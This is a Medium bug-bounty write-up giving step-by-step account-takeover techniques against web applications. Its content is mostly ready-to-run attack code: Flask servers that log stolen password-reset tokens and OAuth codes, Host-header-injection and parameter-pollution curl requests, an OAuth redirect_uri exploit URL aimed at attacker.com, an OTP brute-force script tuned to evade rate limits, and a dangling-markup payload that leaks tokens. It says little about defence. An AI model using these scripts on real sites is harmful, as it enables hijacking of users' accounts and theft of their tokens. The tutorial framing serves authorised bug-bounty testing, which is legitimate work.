You're reading for free via It4chis3c's Friend Link. Become a member to access the best of Medium.

Member-only story

$100-$20k worth Account Takeover Vulnerability | Hidden Practical Steps

It4chis3c
InfoSec Write-ups
Published in
4 min readFeb 25, 2025

Hidden methods to find Account Takeover Vulnerability in Bug Bounties

Friend Link | Free Link

Do Follow and Subscribe via mail to get latest writeups and Hidden & Secret Tips and Tricks related to Cybersecurity and Bug Bounty Hunting.

Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:

Bug Bounty Hunting Series

30 stories
Credit: DALL-E

Account Takeover (ATO) vulnerabilities allow attackers to hijack user accounts, often leading to data breaches, financial loss, and reputational damage. For bug hunters, ATO is a goldmine — it’s common, high-impact, and often overlooked.

1. Password Reset Exploits

a. Host Header Injection to Steal Tokens

Step-by-Step:

  1. Intercept the password reset request (Burp Suite).
  2. Inject a custom Host or X-Forwarded-Host header pointing to your server.
  3. Capture the token when the victim clicks the reset link.

Python Flask Server to Log Tokens:

from flask import Flask, request  
app = Flask(__name__)

@app.route('/reset-password')
def log_token():
token = request.args.get('token')
print(f"[+] Token Stolen: {token}")
return "Error: Invalid token", 404

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

cURL Request to Trigger:

curl -X POST 'https://vulnerable.com/reset-password' \  
-H 'Host: attacker.com' \
-d 'email=victim@example.com'

Why This Works:

  • Developers often trust the Host header to generate reset links.

Flags to Check:

  • Missing Host header validation (common in legacy systems).

Note:

host='0.0.0.0' is about where your Flask server listens (your machine).

attacker.com is about where the victim’s browser sends requests (your server).

b. Parameter Pollution to Redirect Tokens

Step-by-Step:

  1. Add duplicate email parameters in the reset request.
  2. If the backend uses the last parameter, the token goes to your email.

cURL Example:

curl -X POST 'https://vulnerable.com/reset-password?email=victim@example.com&email=attacker@example.com'  

Why This Works:

  • Poorly coded backends may process the last parameter in the chain.

2. OAuth Token Theft

a. Open Redirect + Token Capture

Step-by-Step:

  1. Find an open redirect in redirect_uri.
  2. Steal OAuth authorization codes.

Python Flask Redirect Handler:

from flask import Flask, request  
app = Flask(__name__)

@app.route('/callback')
def capture_code():
code = request.args.get('code')
print(f"[+] OAuth Code: {code}")
return "Error: Invalid code", 404

if __name__ == '__main__':
app.run(port=80)

Exploit URL:

https://oauth-provider.com/auth?client_id=123&redirect_uri=http://attacker.com/callback

Why This Works:

  • OAuth providers may not validate redirect_uri strictly.

Flags to Check:

  • Missing state parameter (enables CSRF).

b. Implicit Flow Token Exposure

Step-by-Step:

  1. Change response_type=code to response_type=token.
  2. Capture the access token in the URL fragment.

cURL Request:

curl -I "https://oauth-provider.com/auth?response_type=token&client_id=CLIENT_ID&redirect_uri=https://attacker.com"

Why This Works:

  • Implicit flow returns tokens in the URL (vulnerable to XSS/leakage).

3. OTP Bypass with Time-Based Attacks

Step-by-Step:

  1. Intercept the OTP submission request.
  2. Brute-force the 6-digit code with delays.

Python Brute-Force Script:

import requests  
import time

target_url = "https://vulnerable.com/verify-otp"
headers = {'Cookie': 'session=YOUR_SESSION_COOKIE'}

for otp in range(000000, 999999):
data = {'otp': str(otp).zfill(6)}
response = requests.post(target_url, data=data, headers=headers)
if "Invalid OTP" not in response.text:
print(f"[+] Valid OTP: {otp}")
break
time.sleep(2) # Bypass rate limiting

Why This Works:

  • Rate limits often allow 1 attempt every 2 seconds.

4. Dangling Markup Injection

Step-by-Step:

  1. Inject a partial HTML tag to leak tokens from error pages.
  2. Capture tokens via an attacker-controlled server.

Injection Payload:

<img src='//attacker.com?token=  

Python Server to Log Leaked Tokens:

from flask import Flask, request  
app = Flask(__name__)

@app.route('/')
def log_token():
token = request.args.get('token')
if token:
print(f"[+] Token Leaked: {token}")
return "404 Not Found", 404

app.run(port=80)

Why This Works:

  • Browsers resolve incomplete tags, sending partial tokens to your server.

Do Follow and Subscribe via mail to get latest writeups and Hidden & Secret Tips and Tricks related to Cybersecurity and Bug Bounty Hunting.

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by It4chis3c

Security Researcher | Bug Bounties | Tips & Tricks

No responses yet

Write a response